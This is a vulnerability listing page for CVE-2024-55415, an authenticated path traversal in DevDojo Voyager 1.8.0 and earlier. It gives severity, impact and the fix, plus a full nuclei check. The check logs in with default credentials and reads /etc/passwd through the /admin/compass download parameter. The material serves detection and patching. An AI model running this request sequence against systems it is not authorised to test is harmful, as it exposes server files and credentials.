Browse / CVEs / CVE-2024-55415
CVE-2024-55415
DevDojo Voyager <=1.8.0 - Arbitrary File Read
highseverity
17.6%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
DevDojo Voyager through 1.8.0 is vulnerable to path traversal at the /admin/compass.
Impact
Authenticated attackers can exploit path traversal to read arbitrary files from the server, potentially exposing sensitive configuration files, credentials, and application source code.
Fix
Update DevDojo Voyager to version 1.8.1 or later to address the path traversal vulnerability.
How to confirm it
Send: GET /admin/login
Send: POST /admin/login
Positive when: contains(body,'/admin</title>') and status_code == 302
Send: GET /admin/compass?download={{base64('/etc/passwd')}}
Positive when: regex('root:.*:0:0:', body) and status_code == 200Run it with nuclei: nuclei -id CVE-2024-55415 -u <target>
The full check
id: CVE-2024-55415
info:
name: DevDojo Voyager <=1.8.0 - Arbitrary File Read
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
DevDojo Voyager through 1.8.0 is vulnerable to path traversal at the /admin/compass.
impact: |
Authenticated attackers can exploit path traversal to read arbitrary files from the server, potentially exposing sensitive configuration files, credentials, and application source code.
remediation: |
Update DevDojo Voyager to version 1.8.1 or later to address the path traversal vulnerability.
reference:
- https://www.sonarsource.com/blog/the-tainted-voyage-uncovering-voyagers-vulnerabilities/
- https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerCompassController.php#L213
- https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerCompassController.php#L44
- https://nvd.nist.gov/vuln/detail/CVE-2024-55415
classification:
cve-id: CVE-2024-55415
epss-score: 0.17632
epss-percentile: 0.97173
metadata:
verified: true
max-request: 4
shodan-query: title:"Voyager"
tags: cve,cve2024,devdojo,voyager,lfr,lfi,vuln
variables:
username: "[email protected]"
password: "password"
http:
- raw:
- |
GET /admin/login HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: body
internal: true
name: csrf
group: 1
regex:
- 'name="_token" value="([a-zA-Z0-9]+)"'
- raw:
- |
POST /admin/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_token={{csrf}}&email={{username}}&password={{password}}&
matchers:
- type: dsl
dsl:
- "contains(body,'/admin</title>')"
- "status_code == 302"
condition: and
internal: true
- raw:
- |
GET /admin/compass?download={{base64('/etc/passwd')}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- regex('root:.*:0:0:', body)
- status_code == 200
condition: andReferences
- https://www.sonarsource.com/blog/the-tainted-voyage-uncovering-voyagers-vulnerabilities/
- https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerCompassController.php#L213
- https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerCompassController.php#L44
- https://nvd.nist.gov/vuln/detail/CVE-2024-55415
Use this check only on systems you are authorised to test. Where the data comes from